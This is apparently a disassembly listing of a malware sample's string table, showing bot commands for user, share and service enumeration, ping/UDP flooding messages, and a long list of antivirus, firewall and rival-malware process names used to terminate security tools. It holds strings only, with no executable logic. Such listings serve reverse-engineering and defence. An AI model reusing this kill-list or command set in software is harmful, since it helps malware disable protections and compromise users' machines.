aRunning	db '    Running',0      ; DATA XREF: sub_405DC5:loc_405E7Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_405DC5:loc_405E78o
aPausing	db '    Pausing',0      ; DATA XREF: sub_405DC5:loc_405E71o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_405DC5:loc_405E6Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_405DC5+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_405DC5+25o
		align 4
aNetUserInfoErr	db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_4060D0+394o
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4060D0+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4060D0+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4060D0+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4060D0+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4060D0+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4060D0+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4060D0+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4060D0+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4060D0+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4060D0+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4060D0+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4060D0+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4060D0+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4060D0+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4060D0+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4060D0:loc_4061E9o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_4060D0:loc_4061E2o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4060D0:loc_4061DBo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4060D0+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4060D0+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4060D0+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4060D0+50o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40649E:loc_4065B7o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40649E:loc_4065B0o
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40649E:loc_4065A9o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40649E:loc_4065A2o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40649E:loc_40659Bo
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40649E:loc_40657Eo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40649E:loc_406577o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40649E:loc_406570o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40649E+CBo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40649E:loc_406545o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40649E:loc_40653Eo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40649E:loc_406537o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40649E:loc_40652Do
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40649E+85o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40649E:loc_406507o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40649E:loc_4064FDo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40649E:loc_4064F3o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40649E:loc_4064E9o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40649E:loc_4064DFo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40649E+37o
		align 10h
aNetSServerSMes	db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_4065CE+A4o
		align 4
aNetMessageSent	db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_4065CE+7Co
		align 4
aNetSNoServiceS	db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_40668A+65o
		align 10h
aNetErrorWithSe	db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_40668A+4Fo
aNetSServiceS_	db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40668A+33o
		align 10h
aNetSNoShareSpe	db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_406702+AAo
		align 10h
aNetSShareS_	db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_406702+88o
		align 4
aNetSErrorWithS	db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_406702+56o
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4067C0+CEo
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4067C0+BAo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4067C0+B3o
aNetShareListEr	db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_4067C0+74o
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4067C0+1Do
		align 4
aNetSNoUsername	db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_4068DF+B5o
		align 10h
aNetSErrorWithU	db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_4068DF+93o
		align 4
aNetSUsernameS_	db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4068DF+6Do
		align 4
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4069A9+144o
		align 10h
aNetAnAccessVio	db '[NET]: An access violation has occured.',0
					; DATA XREF: sub_4069A9:loc_406A94o
aS_2		db '  %S',0             ; DATA XREF: sub_4069A9+B8o
		align 10h
aNetUserListErr	db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_4069A9+78o
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4069A9+1Fo
aFlushdnsNotSup	db '[FLUSHDNS]: Not supported by this system.',0
					; DATA XREF: sub_406B55:loc_406C2Co
		align 4
aFlushdnsUnable	db '[FLUSHDNS]: Unable to allocation ARP cache.',0
					; DATA XREF: sub_406B55:loc_406BFDo
aFlushdnsArpCac	db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_406B55:loc_406BA9o
aFlushdnsErrorG	db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
					; DATA XREF: sub_406B55+44o
		align 4
aPingFinishedSe	db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_406CD9+138o
		align 4
aPingErrorSendi	db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_406CD9+6Co
		align 4
aUdpFinishedSen	db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_406E62+1CAo
		align 10h
aUdpErrorSendin	db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_406E62+8Co
		align 4
aHass_exe	db 'hass.exe',0         ; DATA XREF: .data:0042AE34o
		align 10h
aWinmp_exe	db 'winmp.exe',0        ; DATA XREF: .data:0042AE30o
		align 4
aBling_exe	db 'bling.exe',0        ; DATA XREF: .data:0042AE2Co
		align 4
aWuamgrd_exe	db 'wuamgrd.exe',0      ; DATA XREF: .data:0042AE28o
aScguard_exe	db 'scguard.exe',0      ; DATA XREF: .data:0042AE24o
aWinssv_exe	db 'winssv.exe',0       ; DATA XREF: .data:0042AE20o
		align 4
aWruaclt_exe	db 'WRUACLT.EXE',0      ; DATA XREF: .data:0042AE1Co
aWuacrlt_exe	db 'WUACRLT.EXE',0      ; DATA XREF: .data:0042AE18o
aWuanclt_exe	db 'WUANCLT.EXE',0      ; DATA XREF: .data:0042AE14o
aMsconfig_exe	db 'MsConfiG.exe',0     ; DATA XREF: .data:0042AE10o
		align 10h
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .data:0042AE0Co
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:0042AE08o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:0042AE04o
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:0042AE00o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:0042ADFCo
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:0042ADF8o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:0042ADF4o
		align 4
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:0042ADF0o
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:0042ADECo
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:0042ADE8o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:0042ADE4o
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:0042ADE0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0042ADDCo
		align 10h
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: .data:0042ADD8o
		align 10h
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: .data:0042ADD4o
		align 10h
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: .data:0042ADD0o
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: .data:0042ADCCo
		align 4
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: .data:0042ADC8o
		align 4
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: .data:0042ADC4o
		align 4
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: .data:0042ADC0o
		align 4
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: .data:0042ADBCo
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:0042ADB8o
		align 4
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: .data:0042ADB4o
		align 10h
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: .data:0042ADB0o
		align 10h
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:0042ADACo
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: .data:0042ADA8o
		align 4
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: .data:0042ADA4o
		align 4
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: .data:0042ADA0o
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: .data:0042AD9Co
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: .data:0042AD98o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: .data:0042AD94o
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: .data:0042AD90o
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: .data:0042AD8Co
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: .data:0042AD88o
		align 4
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: .data:0042AD84o
		align 4
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: .data:0042AD80o
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: .data:0042AD7Co
		align 4
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: .data:0042AD78o
		align 4
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: .data:0042AD74o
		align 4
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: .data:0042AD70o
		align 4
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: .data:0042AD6Co
		align 4
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: .data:0042AD68o
		align 4
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: .data:0042AD64o
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: .data:0042AD60o
		align 10h
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: .data:0042AD5Co
		align 10h
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: .data:0042AD58o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: .data:0042AD54o
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: .data:0042AD50o
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: .data:0042AD4Co
		align 4
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: .data:0042AD48o
		align 4
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: .data:0042AD44o
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: .data:0042AD40o
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: .data:0042AD3Co
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: .data:0042AD38o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:0042AD34o
		align 10h
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: .data:0042AD30o
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: .data:0042AD2Co
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: .data:0042AD28o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: .data:0042AD24o
		align 4
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: .data:0042AD20o
		align 4
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: .data:0042AD1Co
		align 4
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: .data:0042AD18o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: .data:0042AD14o
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: .data:0042AD10o
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: .data:0042AD0Co
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: .data:0042AD08o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: .data:0042AD04o
		align 4
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: .data:0042AD00o
		align 4
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: .data:0042ACFCo
		align 10h
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: .data:0042ACF8o
		align 10h
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: .data:0042ACF4o
		align 10h
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: .data:0042ACF0o
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: .data:0042ACECo
		align 4
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:0042ACE8o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: .data:0042ACE4o
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: .data:0042ACE0o
		align 4
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: .data:0042ACDCo
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: .data:0042ACD8o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: .data:0042ACD4o
		align 4
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: .data:0042ACD0o
		align 4
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: .data:0042ACCCo
		align 4
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:0042ACC8o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: .data:0042ACC4o
		align 4
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: .data:0042ACC0o
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: .data:0042ACBCo
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: .data:0042ACB8o
		align 4
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: .data:0042ACB4o
		align 4
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: .data:0042ACB0o
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: .data:0042ACACo
		align 10h
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: .data:0042ACA8o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: .data:0042ACA4o
		align 4
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: .data:0042ACA0o
		align 4
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: .data:0042AC9Co
		align 4
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: .data:0042AC98o
		align 10h
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: .data:0042AC94o
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: .data:0042AC8Co
					; .data:0042AC90o
		align 4
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: .data:0042AC88o
		align 4
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: .data:0042AC84o
		align 4
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: .data:0042AC80o
		align 10h
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: .data:0042AC7Co
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: .data:0042AC78o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: .data:0042AC74o
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: .data:0042AC70o
		align 4
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: .data:0042AC6Co
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: .data:0042AC68o
		align 4
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: .data:0042AC64o
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: .data:0042AC60o
		align 10h
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: .data:0042AC5Co
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: .data:0042AC58o
		align 4
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: .data:0042AC54o
		align 4
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: .data:0042AC50o
		align 10h
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: .data:0042AC4Co
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: .data:0042AC48o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: .data:0042AC44o
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: .data:0042AC40o
		align 10h
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: .data:0042AC3Co
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: .data:0042AC38o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: .data:0042AC34o
		align 4
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: .data:0042AC30o
		align 4
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: .data:0042AC2Co
		align 10h
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: .data:0042AC28o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: .data:0042AC24o
		align 4
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: .data:0042AC20o
		align 4
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: .data:0042AC1Co
		align 10h
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: .data:0042AC18o
		align 10h
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: .data:0042AC14o
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: .data:0042AC10o
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: .data:0042AC0Co
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: .data:0042AC08o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:0042AC04o
		align 4
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: .data:0042AC00o
aUpd32_exe	db 'UPD32.EXE',0        ; DATA XREF: .data:0042ABFCo
		align 10h
aSvshost32_exe	db 'SVSHOST32.EXE',0    ; DATA XREF: .data:0042ABF8o
		align 10h
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: .data:0042ABF4o
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: .data:0042ABF0o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: .data:0042ABECo
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: .data:0042ABE8o
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: .data:0042ABE4o
		align 4
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: .data:0042ABE0o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: .data:0042ABDCo
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: .data:0042ABD8o
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: .data:0042ABD4o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: .data:0042ABD0o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: .data:0042ABCCo
		align 10h
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: .data:0042ABC8o
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: .data:0042ABC4o
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: .data:0042ABC0o
		align 4
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: .data:0042ABBCo
		align 10h
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: .data:0042ABB8o
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: .data:0042ABB4o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: .data:0042ABB0o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: .data:0042ABACo
		align 4
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: .data:0042ABA8o
		align 10h
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: .data:0042ABA4o
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: .data:0042ABA0o
		align 4
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: .data:0042AB9Co
		align 10h
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: .data:0042AB98o
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: .data:0042AB94o
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: .data:0042AB90o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: .data:0042AB8Co
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: .data:0042AB88o
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: .data:0042AB84o
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:0042AB80o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: .data:0042AB7Co
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: .data:0042AB78o
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: .data:0042AB74o
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:0042AB70o
		align 10h
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:0042AB6Co
		align 4
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: .data:0042AB68o
		align 4
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: .data:0042AB64o
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: .data:0042AB60o
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: .data:0042AB5Co
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: .data:0042AB58o
		align 10h
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: .data:0042AB54o
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: .data:0042AB50o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: .data:0042AB4Co
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: .data:0042AB48o
		align 10h
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: .data:0042AB44o
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: .data:0042AB40o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: .data:0042AB3Co
		align 4
aSc_exe		db 'SC.EXE',0           ; DATA XREF: .data:0042AB38o
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: .data:0042AB34o
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: .data:0042AB30o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: .data:0042AB2Co
		align 10h
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: .data:0042AB28o
		align 10h
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: .data:0042AB24o
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: .data:0042AB20o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: .data:0042AB1Co
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: .data:0042AB18o
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: .data:0042AB14o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: .data:0042AB10o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: .data:0042AB0Co
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: .data:0042AB08o
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: .data:0042AB04o
		align 10h
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: .data:0042AB00o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: .data:0042AAFCo
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: .data:0042AAF8o
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: .data:0042AAF4o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: .data:0042AAF0o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: .data:0042AAECo
		align 10h
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: .data:0042AAE8o
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: .data:0042AAE4o
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: .data:0042AAE0o
		align 4
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: .data:0042AADCo
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:0042AAD8o
		align 10h
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: .data:0042AAD4o
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: .data:0042AAD0o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: .data:0042AACCo
		align 4
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: .data:0042AAC8o
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: .data:0042AAC4o
		align 10h
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: .data:0042AAC0o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: .data:0042AABCo
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: .data:0042AAB8o
		align 4
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: .data:0042AAB4o
		align 10h
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: .data:0042AAB0o
		align 10h
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: .data:0042AAACo
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:0042AAA8o
		align 10h
